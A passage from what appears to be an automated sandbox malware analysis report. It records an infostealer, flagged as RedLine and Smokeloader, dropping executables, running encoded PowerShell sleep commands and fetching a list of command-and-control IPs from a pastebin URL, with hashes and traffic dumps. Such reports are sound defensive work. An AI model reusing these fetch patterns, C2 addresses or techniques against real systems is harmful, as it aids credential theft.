2023-04-20 23:05:38 UTC	20461	IN	Data Raw: 2c 31 31 33 2c 31 31 35 2c 65 36 2c 31 32 64 2c 34 33 2c 31 36 31 2c 37 32 2c 65 31 2c 66 63 2c 31 31 62 2c 61 38 2c 62 36 2c 31 31 36 2c 64 62 2c 37 37 2c 66 61 2c 31 32 66 2c 61 65 2c 31 31 33 2c 31 33 37 2c 62 38 2c 39 39 2c 64 37 2c 39 32 2c 31 36 31 2c 31 34 31 2c 31 32 37 2c 31 31 31 2c 61 61 2c 38 39 2c 31 33 37 2c 31 32 30 2c 65 37 2c 66 64 2c 66 62 2c 31 31 65 2c 38 31 2c 63 31 2c 65 35 2c 64 36 2c 36 31 2c 31 31 65 2c 39 61 2c 31 33 63 2c 61 32 2c 35 32 2c 63 63 2c 35 35 2c 31 31 63 2c 31 32 38 2c 61 39 2c 61 66 2c 39 63 2c 36 37 2c 61 39 2c 62 33 2c 64 32 2c 64 36 2c 36 65 2c 65 65 2c 31 32 33 2c 61 62 2c 31 34 36 2c 31 30 33 2c 64 63 2c 31 36 32 2c 62 61 2c 64 35 2c 62 38 2c 31 30 63 2c 62 65 2c 64 66 2c 31 30 30 2c 31 34 66 2c 61 36 2c 64 61 Data Ascii: ,113,115,e6,12d,43,161,72,e1,fc,11b,a8,b6,116,db,77,fa,12f,ae,113,137,b8,99,d7,92,161,141,127,111,aa,89,137,120,e7,fd,fb,11e,81,c1,e5,d6,61,11e,9a,13c,a2,52,cc,55,11c,128,a9,af,9c,67,a9,b3,d2,d6,6e,ee,123,ab,146,103,dc,162,ba,d5,b8,10c,be,df,100,14f,a6,da
2023-04-20 23:05:38 UTC	20477	IN	Data Raw: 32 35 2c 61 32 2c 62 38 2c 31 34 66 2c 31 34 63 2c 31 35 33 2c 37 36 2c 31 31 38 2c 65 63 2c 31 30 61 2c 31 34 36 2c 31 31 65 2c 31 30 31 2c 31 31 38 2c 37 62 2c 62 65 2c 36 38 2c 39 32 2c 61 35 2c 39 35 2c 37 32 2c 64 65 2c 31 30 37 2c 65 39 2c 64 39 2c 31 32 33 2c 63 66 2c 38 34 2c 61 31 2c 31 36 34 2c 61 61 2c 38 38 2c 31 36 35 2c 39 65 2c 61 34 2c 31 31 65 2c 37 62 2c 37 63 2c 61 66 2c 63 33 2c 66 33 2c 63 36 2c 66 31 2c 31 33 34 2c 31 31 32 2c 61 35 2c 31 36 33 2c 66 39 2c 37 61 2c 31 31 37 2c 31 37 30 2c 31 32 66 2c 31 31 32 2c 39 38 2c 31 30 31 2c 36 63 2c 64 33 2c 65 37 2c 63 39 2c 61 30 2c 61 65 2c 31 34 30 2c 37 63 2c 31 36 64 2c 31 31 65 2c 33 36 2c 66 61 2c 31 32 66 2c 31 34 36 2c 31 33 32 2c 64 39 2c 37 64 2c 31 35 66 2c 62 33 2c 31 33 63 2c Data Ascii: 25,a2,b8,14f,14c,153,76,118,ec,10a,146,11e,101,118,7b,be,68,92,a5,95,72,de,107,e9,d9,123,cf,84,a1,164,aa,88,165,9e,a4,11e,7b,7c,af,c3,f3,c6,f1,134,112,a5,163,f9,7a,117,170,12f,112,98,101,6c,d3,e7,c9,a0,ae,140,7c,16d,11e,36,fa,12f,146,132,d9,7d,15f,b3,13c,
2023-04-20 23:05:38 UTC	20493	IN	Data Raw: 2c 31 32 37 2c 64 66 2c 35 36 2c 62 37 2c 35 38 2c 61 36 2c 31 33 30 2c 31 30 38 2c 31 32 36 2c 37 66 2c 37 39 2c 38 63 2c 31 30 35 2c 31 36 38 2c 38 32 2c 31 33 63 2c 61 32 2c 34 39 2c 65 30 2c 31 31 37 2c 64 62 2c 36 31 2c 66 30 2c 31 35 65 2c 39 65 2c 66 66 2c 65 33 2c 61 38 2c 63 30 2c 31 30 32 2c 65 35 2c 31 33 34 2c 31 32 62 2c 64 32 2c 66 37 2c 31 30 36 2c 38 31 2c 37 30 2c 31 33 34 2c 66 66 2c 63 63 2c 31 31 33 2c 35 38 2c 31 34 30 2c 66 36 2c 31 34 62 2c 39 33 2c 65 37 2c 31 33 38 2c 31 33 37 2c 63 38 2c 64 31 2c 35 32 2c 35 63 2c 31 35 30 2c 62 61 2c 31 35 66 2c 61 31 2c 31 32 64 2c 39 35 2c 31 31 31 2c 31 33 62 2c 31 32 35 2c 39 63 2c 31 35 37 2c 63 39 2c 31 32 61 2c 31 33 66 2c 62 34 2c 38 39 2c 38 32 2c 31 34 37 2c 31 31 62 2c 31 31 31 2c 31 Data Ascii: ,127,df,56,b7,58,a6,130,108,126,7f,79,8c,105,168,82,13c,a2,49,e0,117,db,61,f0,15e,9e,ff,e3,a8,c0,102,e5,134,12b,d2,f7,106,81,70,134,ff,cc,113,58,140,f6,14b,93,e7,138,137,c8,d1,52,5c,150,ba,15f,a1,12d,95,111,13b,125,9c,157,c9,12a,13f,b4,89,82,147,11b,111,1
2023-04-20 23:05:38 UTC	20509	IN	Data Raw: 34 38 2c 31 32 37 2c 66 37 2c 31 34 30 2c 38 64 2c 37 61 2c 35 65 2c 65 39 2c 64 39 2c 31 34 62 2c 61 63 2c 38 31 2c 66 32 2c 61 31 2c 31 31 33 2c 31 32 63 2c 31 32 63 2c 38 32 2c 39 30 2c 37 33 2c 33 63 2c 37 64 2c 31 30 32 2c 64 34 2c 61 64 2c 38 38 2c 31 35 34 2c 31 34 38 2c 38 37 2c 63 64 2c 64 35 2c 31 30 33 2c 31 30 36 2c 61 39 2c 63 38 2c 61 32 2c 31 36 33 2c 31 30 33 2c 65 31 2c 61 36 2c 63 64 2c 31 33 31 2c 62 66 2c 31 34 30 2c 61 37 2c 62 66 2c 31 30 31 2c 66 38 2c 39 65 2c 31 37 33 2c 64 36 2c 38 64 2c 62 66 2c 31 33 37 2c 39 35 2c 31 32 30 2c 63 30 2c 61 62 2c 31 33 30 2c 65 36 2c 35 64 2c 66 62 2c 61 65 2c 61 62 2c 31 34 32 2c 31 34 31 2c 61 36 2c 64 65 2c 38 31 2c 34 35 2c 31 31 32 2c 66 65 2c 31 31 39 2c 63 31 2c 38 36 2c 31 32 63 2c 34 39 Data Ascii: 48,127,f7,140,8d,7a,5e,e9,d9,14b,ac,81,f2,a1,113,12c,12c,82,90,73,3c,7d,102,d4,ad,88,154,148,87,cd,d5,103,106,a9,c8,a2,163,103,e1,a6,cd,131,bf,140,a7,bf,101,f8,9e,173,d6,8d,bf,137,95,120,c0,ab,130,e6,5d,fb,ae,ab,142,141,a6,de,81,45,112,fe,119,c1,86,12c,49
2023-04-20 23:05:38 UTC	20525	IN	Data Raw: 2c 31 30 34 2c 39 62 2c 39 38 2c 31 36 37 2c 64 66 2c 37 34 2c 31 35 32 2c 31 32 30 2c 31 31 64 2c 37 33 2c 65 39 2c 37 37 2c 31 32 62 2c 31 32 64 2c 38 65 2c 39 30 2c 31 33 34 2c 31 33 63 2c 31 35 32 2c 31 31 37 2c 66 38 2c 61 62 2c 36 30 2c 37 38 2c 31 32 34 2c 31 31 62 2c 62 36 2c 65 65 2c 33 34 2c 37 32 2c 37 63 2c 36 38 2c 31 35 31 2c 31 31 31 2c 64 62 2c 37 39 2c 63 64 2c 66 36 2c 31 35 33 2c 31 33 33 2c 31 31 63 2c 31 33 62 2c 65 32 2c 39 33 2c 65 62 2c 64 66 2c 35 34 2c 39 33 2c 31 32 32 2c 31 35 36 2c 37 66 2c 37 61 2c 61 30 2c 39 30 2c 64 62 2c 31 32 63 2c 31 34 63 2c 31 35 36 2c 31 31 38 2c 31 31 38 2c 31 30 39 2c 62 39 2c 31 32 63 2c 31 30 63 2c 64 64 2c 36 64 2c 31 35 39 2c 65 34 2c 39 31 2c 31 33 36 2c 31 34 36 2c 38 63 2c 65 65 2c 65 30 2c Data Ascii: ,104,9b,98,167,df,74,152,120,11d,73,e9,77,12b,12d,8e,90,134,13c,152,117,f8,ab,60,78,124,11b,b6,ee,34,72,7c,68,151,111,db,79,cd,f6,153,133,11c,13b,e2,93,eb,df,54,93,122,156,7f,7a,a0,90,db,12c,14c,156,118,118,109,b9,12c,10c,dd,6d,159,e4,91,136,146,8c,ee,e0,
2023-04-20 23:05:38 UTC	20541	IN	Data Raw: 2c 36 63 2c 62 61 2c 61 30 2c 39 34 2c 31 32 64 2c 35 38 2c 63 31 2c 31 34 61 2c 39 66 2c 31 30 30 2c 31 33 35 2c 61 62 2c 37 66 2c 31 32 36 2c 35 39 2c 35 34 2c 39 37 2c 31 34 65 2c 31 30 66 2c 31 33 34 2c 39 35 2c 66 31 2c 31 31 65 2c 38 35 2c 31 32 62 2c 37 34 2c 61 30 2c 64 31 2c 39 63 2c 31 31 62 2c 65 31 2c 37 65 2c 64 64 2c 31 34 61 2c 31 34 35 2c 39 32 2c 39 33 2c 31 30 61 2c 64 30 2c 65 62 2c 61 34 2c 31 32 63 2c 31 33 62 2c 36 31 2c 63 32 2c 31 30 37 2c 65 63 2c 36 66 2c 66 32 2c 61 64 2c 37 35 2c 38 63 2c 31 31 62 2c 37 64 2c 31 31 34 2c 37 64 2c 39 37 2c 65 62 2c 61 63 2c 66 66 2c 62 37 2c 37 39 2c 65 64 2c 62 65 2c 37 61 2c 64 38 2c 39 62 2c 31 34 34 2c 31 35 31 2c 65 63 2c 31 30 35 2c 65 38 2c 38 31 2c 65 64 2c 38 35 2c 62 31 2c 31 31 64 2c Data Ascii: ,6c,ba,a0,94,12d,58,c1,14a,9f,100,135,ab,7f,126,59,54,97,14e,10f,134,95,f1,11e,85,12b,74,a0,d1,9c,11b,e1,7e,dd,14a,145,92,93,10a,d0,eb,a4,12c,13b,61,c2,107,ec,6f,f2,ad,75,8c,11b,7d,114,7d,97,eb,ac,ff,b7,79,ed,be,7a,d8,9b,144,151,ec,105,e8,81,ed,85,b1,11d,
2023-04-20 23:05:38 UTC	20557	IN	Data Raw: 63 64 2c 31 33 31 2c 31 35 32 2c 63 39 2c 62 64 2c 62 61 2c 61 63 2c 66 65 2c 31 34 35 2c 65 65 2c 38 36 2c 37 31 2c 65 65 2c 36 34 2c 61 64 2c 38 30 2c 31 32 32 2c 31 34 33 2c 63 32 2c 31 33 30 2c 62 65 2c 63 31 2c 31 36 31 2c 31 35 62 2c 31 32 31 2c 61 32 2c 61 36 2c 65 65 2c 63 34 2c 61 34 2c 66 61 2c 31 33 64 2c 61 63 2c 38 39 2c 31 32 31 2c 36 37 2c 31 36 30 2c 31 35 35 2c 31 31 61 2c 63 61 2c 65 39 2c 61 63 2c 31 34 30 2c 31 34 31 2c 37 31 2c 37 36 2c 36 35 2c 31 31 64 2c 38 63 2c 35 65 2c 39 31 2c 31 35 36 2c 31 35 37 2c 34 38 2c 31 36 36 2c 31 30 65 2c 37 38 2c 62 32 2c 62 62 2c 62 34 2c 62 38 2c 31 30 38 2c 33 35 2c 31 34 34 2c 37 32 2c 66 63 2c 31 34 63 2c 31 32 66 2c 31 33 30 2c 65 37 2c 65 61 2c 62 65 2c 65 31 2c 61 33 2c 31 37 35 2c 61 30 2c Data Ascii: cd,131,152,c9,bd,ba,ac,fe,145,ee,86,71,ee,64,ad,80,122,143,c2,130,be,c1,161,15b,121,a2,a6,ee,c4,a4,fa,13d,ac,89,121,67,160,155,11a,ca,e9,ac,140,141,71,76,65,11d,8c,5e,91,156,157,48,166,10e,78,b2,bb,b4,b8,108,35,144,72,fc,14c,12f,130,e7,ea,be,e1,a3,175,a0,
2023-04-20 23:05:38 UTC	20573	IN	Data Raw: 62 2c 31 31 36 2c 31 33 63 2c 63 66 2c 31 31 32 2c 62 37 2c 38 64 2c 35 30 2c 38 36 2c 64 66 2c 31 31 39 2c 31 35 36 2c 38 66 2c 31 32 64 2c 61 36 2c 39 64 2c 31 33 61 2c 62 31 2c 31 35 34 2c 62 32 2c 64 65 2c 31 33 33 2c 62 63 2c 37 39 2c 39 30 2c 31 35 32 2c 31 35 37 2c 31 30 31 2c 31 34 31 2c 62 35 2c 31 31 36 2c 66 35 2c 31 32 32 2c 31 33 34 2c 36 35 2c 34 38 2c 31 31 62 2c 31 30 31 2c 65 33 2c 31 33 38 2c 66 34 2c 31 31 33 2c 39 66 2c 31 35 65 2c 39 34 2c 37 32 2c 66 63 2c 31 34 34 2c 63 63 2c 65 30 2c 31 32 33 2c 64 61 2c 36 65 2c 62 63 2c 63 30 2c 39 66 2c 31 32 32 2c 31 31 33 2c 31 30 64 2c 31 33 35 2c 31 33 36 2c 31 34 35 2c 32 65 2c 31 33 39 2c 37 66 2c 31 31 30 2c 31 30 35 2c 38 64 2c 66 64 2c 61 38 2c 34 30 2c 36 38 2c 37 30 2c 66 65 2c 61 66 Data Ascii: b,116,13c,cf,112,b7,8d,50,86,df,119,156,8f,12d,a6,9d,13a,b1,154,b2,de,133,bc,79,90,152,157,101,141,b5,116,f5,122,134,65,48,11b,101,e3,138,f4,113,9f,15e,94,72,fc,144,cc,e0,123,da,6e,bc,c0,9f,122,113,10d,135,136,145,2e,139,7f,110,105,8d,fd,a8,40,68,70,fe,af
2023-04-20 23:05:38 UTC	20589	IN	Data Raw: 66 2c 31 33 33 2c 37 66 2c 63 33 2c 31 33 33 2c 33 32 2c 35 31 2c 61 31 2c 31 34 32 2c 64 65 2c 37 36 2c 64 62 2c 63 35 2c 61 37 2c 31 30 36 2c 63 63 2c 31 34 35 2c 31 32 62 2c 38 62 2c 65 36 2c 38 30 2c 65 33 2c 62 33 2c 31 31 30 2c 31 31 65 2c 39 36 2c 63 39 2c 34 39 2c 35 64 2c 31 31 38 2c 62 61 2c 64 35 2c 64 30 2c 63 32 2c 31 33 32 2c 65 39 2c 38 65 2c 61 31 2c 37 35 2c 61 31 2c 31 35 33 2c 39 65 2c 31 33 31 2c 64 63 2c 64 63 2c 65 62 2c 31 34 35 2c 31 33 39 2c 62 62 2c 62 36 2c 31 31 64 2c 39 66 2c 63 65 2c 65 66 2c 62 62 2c 62 62 2c 38 34 2c 36 30 2c 36 37 2c 31 31 32 2c 65 39 2c 35 33 2c 31 34 62 2c 64 33 2c 31 31 33 2c 65 32 2c 39 35 2c 62 37 2c 66 37 2c 38 32 2c 31 32 33 2c 31 30 65 2c 61 64 2c 39 35 2c 31 32 34 2c 62 32 2c 61 35 2c 37 61 2c 34 Data Ascii: f,133,7f,c3,133,32,51,a1,142,de,76,db,c5,a7,106,cc,145,12b,8b,e6,80,e3,b3,110,11e,96,c9,49,5d,118,ba,d5,d0,c2,132,e9,8e,a1,75,a1,153,9e,131,dc,dc,eb,145,139,bb,b6,11d,9f,ce,ef,bb,bb,84,60,67,112,e9,53,14b,d3,113,e2,95,b7,f7,82,123,10e,ad,95,124,b2,a5,7a,4
2023-04-20 23:05:38 UTC	20605	IN	Data Raw: 31 35 65 2c 38 35 2c 31 33 30 2c 35 39 2c 31 31 34 2c 31 30 33 2c 64 62 2c 31 31 39 2c 31 32 32 2c 31 34 62 2c 36 62 2c 38 66 2c 31 34 35 2c 36 31 2c 39 61 2c 64 31 2c 38 39 2c 62 32 2c 33 64 2c 37 38 2c 31 32 30 2c 31 32 39 2c 38 35 2c 39 38 2c 31 36 32 2c 38 32 2c 39 66 2c 35 65 2c 31 32 38 2c 34 39 2c 62 61 2c 38 33 2c 61 34 2c 31 32 65 2c 62 61 2c 38 66 2c 31 34 35 2c 37 64 2c 31 34 62 2c 38 32 2c 37 37 2c 31 34 63 2c 31 31 65 2c 38 63 2c 62 64 2c 39 36 2c 61 34 2c 62 32 2c 64 30 2c 31 33 64 2c 38 34 2c 65 34 2c 31 32 62 2c 38 64 2c 31 30 64 2c 61 33 2c 31 36 32 2c 63 31 2c 39 39 2c 33 35 2c 31 32 35 2c 35 31 2c 39 30 2c 61 62 2c 31 32 65 2c 37 39 2c 31 35 61 2c 36 39 2c 31 32 62 2c 31 31 64 2c 63 66 2c 61 66 2c 31 34 35 2c 66 38 2c 37 62 2c 36 35 2c Data Ascii: 15e,85,130,59,114,103,db,119,122,14b,6b,8f,145,61,9a,d1,89,b2,3d,78,120,129,85,98,162,82,9f,5e,128,49,ba,83,a4,12e,ba,8f,145,7d,14b,82,77,14c,11e,8c,bd,96,a4,b2,d0,13d,84,e4,12b,8d,10d,a3,162,c1,99,35,125,51,90,ab,12e,79,15a,69,12b,11d,cf,af,145,f8,7b,65,
2023-04-20 23:05:38 UTC	20621	IN	Data Raw: 64 2c 66 38 2c 65 30 2c 31 35 35 2c 35 61 2c 63 34 2c 62 66 2c 61 66 2c 65 64 2c 31 33 36 2c 31 33 34 2c 31 33 64 2c 39 32 2c 31 30 66 2c 31 30 38 2c 61 64 2c 65 33 2c 63 38 2c 61 34 2c 37 63 2c 61 34 2c 36 31 2c 61 61 2c 36 63 2c 38 65 2c 31 32 66 2c 38 32 2c 66 63 2c 31 36 37 2c 38 36 2c 63 30 2c 64 32 2c 39 37 2c 31 30 33 2c 36 30 2c 61 30 2c 38 33 2c 66 36 2c 31 31 33 2c 31 36 63 2c 66 34 2c 31 33 35 2c 31 30 39 2c 31 34 63 2c 31 34 65 2c 31 31 34 2c 37 35 2c 31 32 64 2c 31 34 32 2c 61 31 2c 31 30 32 2c 36 39 2c 31 32 30 2c 66 33 2c 64 66 2c 35 64 2c 63 38 2c 38 36 2c 39 37 2c 65 35 2c 31 35 34 2c 62 35 2c 31 30 65 2c 39 66 2c 31 31 34 2c 63 63 2c 31 33 33 2c 31 32 34 2c 38 61 2c 36 31 2c 31 32 32 2c 65 33 2c 39 35 2c 62 39 2c 63 38 2c 31 33 64 2c 66 Data Ascii: d,f8,e0,155,5a,c4,bf,af,ed,136,134,13d,92,10f,108,ad,e3,c8,a4,7c,a4,61,aa,6c,8e,12f,82,fc,167,86,c0,d2,97,103,60,a0,83,f6,113,16c,f4,135,109,14c,14e,114,75,12d,142,a1,102,69,120,f3,df,5d,c8,86,97,e5,154,b5,10e,9f,114,cc,133,124,8a,61,122,e3,95,b9,c8,13d,f
2023-04-20 23:05:38 UTC	20637	IN	Data Raw: 32 2c 38 65 2c 37 61 2c 31 35 38 2c 35 66 2c 65 31 2c 31 34 34 2c 31 31 65 2c 31 36 30 2c 31 33 33 2c 37 37 2c 31 30 63 2c 31 34 35 2c 38 64 2c 31 32 33 2c 31 30 30 2c 66 36 2c 39 62 2c 34 64 2c 66 31 2c 31 32 65 2c 31 34 30 2c 31 33 65 2c 38 64 2c 37 66 2c 31 31 61 2c 31 34 64 2c 31 33 38 2c 36 63 2c 66 31 2c 63 66 2c 62 34 2c 31 31 35 2c 64 37 2c 64 37 2c 31 30 66 2c 39 63 2c 65 30 2c 39 34 2c 31 30 62 2c 38 37 2c 38 30 2c 33 61 2c 31 34 33 2c 61 35 2c 31 36 64 2c 62 66 2c 62 34 2c 64 35 2c 66 30 2c 31 31 36 2c 31 32 39 2c 35 35 2c 65 39 2c 63 33 2c 31 35 61 2c 31 30 32 2c 37 34 2c 38 61 2c 62 39 2c 64 35 2c 35 65 2c 36 36 2c 39 34 2c 31 34 62 2c 66 62 2c 34 31 2c 66 37 2c 38 36 2c 31 30 37 2c 31 33 38 2c 31 30 33 2c 61 31 2c 31 34 39 2c 62 63 2c 31 34 Data Ascii: 2,8e,7a,158,5f,e1,144,11e,160,133,77,10c,145,8d,123,100,f6,9b,4d,f1,12e,140,13e,8d,7f,11a,14d,138,6c,f1,cf,b4,115,d7,d7,10f,9c,e0,94,10b,87,80,3a,143,a5,16d,bf,b4,d5,f0,116,129,55,e9,c3,15a,102,74,8a,b9,d5,5e,66,94,14b,fb,41,f7,86,107,138,103,a1,149,bc,14

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49699	104.20.68.143	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
2023-04-20 23:04:34 UTC	9277	OUT	GET /raw/aCZb2pjR HTTP/1.1 User-Agent: SmartClipper Host: pastebin.com Connection: Keep-Alive
2023-04-20 23:04:34 UTC	9277	IN	HTTP/1.1 200 OK Date: Thu, 20 Apr 2023 23:04:34 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Thu, 20 Apr 2023 19:04:23 GMT Server: cloudflare CF-RAY: 7bb106f10cde2bac-FRA
2023-04-20 23:04:34 UTC	9277	IN	Data Raw: 33 32 0d 0a 5b 22 31 38 35 2e 31 35 39 2e 31 33 30 2e 38 31 22 2c 20 22 31 38 35 2e 31 35 39 2e 31 32 39 2e 31 36 38 22 2c 20 22 31 32 37 2e 30 2e 30 2e 33 22 5d 0d 0a Data Ascii: 32["185.159.130.81", "185.159.129.168", "127.0.0.3"]
2023-04-20 23:04:34 UTC	9277	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5028, Parent PID: 3452

General

Target ID:	0
Start time:	01:02:55
Start date:	21/04/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x13a0000
File size:	890370 bytes
MD5 hash:	2F9E75406AD073EED271B767A05D2620
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 11.exePID: 1944, Parent PID: 5028

General

Target ID:	1
Start time:	01:02:57
Start date:	21/04/2023
Path:	C:\Windows\Temp\11.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\11.exe"
Imagebase:	0x400000
File size:	489984 bytes
MD5 hash:	61E723F8A677A1CA9B4C0B26338E880D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000001.00000002.260239525.0000000000A09000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000003.249782385.00000000025C2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 35%, ReversingLabs Detection: 39%, Virustotal, Browse
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 123.exePID: 1832, Parent PID: 5028

General

Target ID:	2
Start time:	01:02:57
Start date:	21/04/2023
Path:	C:\Windows\Temp\123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\123.exe"
Imagebase:	0x710000
File size:	284160 bytes
MD5 hash:	C8141AF739779C405DB7BE2C16768393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 19%, ReversingLabs Detection: 34%, Virustotal, Browse
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 321.exePID: 3180, Parent PID: 5028

General

Target ID:	3
Start time:	01:02:57
Start date:	21/04/2023
Path:	C:\Windows\Temp\321.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\321.exe"
Imagebase:	0x8c0000
File size:	292352 bytes
MD5 hash:	EA2ACA8648D67B60A9B3F4520F3E50C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 1234.exePID: 3240, Parent PID: 5028

General

Target ID:	4
Start time:	01:02:58
Start date:	21/04/2023
Path:	C:\Windows\Temp\1234.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\1234.exe"
Imagebase:	0xe00000
File size:	284160 bytes
MD5 hash:	5B5A0A14B5EDA05D8D38DB522DDB1E8E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: RegSvcs.exePID: 6148, Parent PID: 1944

General

Target ID:	5
Start time:	01:02:59
Start date:	21/04/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x880000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000005.00000002.426722935.0000000000402000.00000020.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000005.00000002.447067002.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.447067002.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000005.00000002.447067002.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 6228, Parent PID: 1944

General

Target ID:	7
Start time:	01:03:00
Start date:	21/04/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1944 -s 268
Imagebase:	0xa70000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 6800, Parent PID: 1832

General

Target ID:	14
Start time:	01:03:19
Start date:	21/04/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
Imagebase:	0x8b0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6816, Parent PID: 6800

General

Target ID:	15
Start time:	01:03:19
Start date:	21/04/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 6852, Parent PID: 3180

General

Target ID:	16
Start time:	01:03:20
Start date:	21/04/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
Imagebase:	0x8b0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6928, Parent PID: 6852

General

Target ID:	18
Start time:	01:03:20
Start date:	21/04/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 7072, Parent PID: 3240

General

Target ID:	19
Start time:	01:03:23
Start date:	21/04/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
Imagebase:	0x8b0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7084, Parent PID: 7072

General

Target ID:	20
Start time:	01:03:23
Start date:	21/04/2023
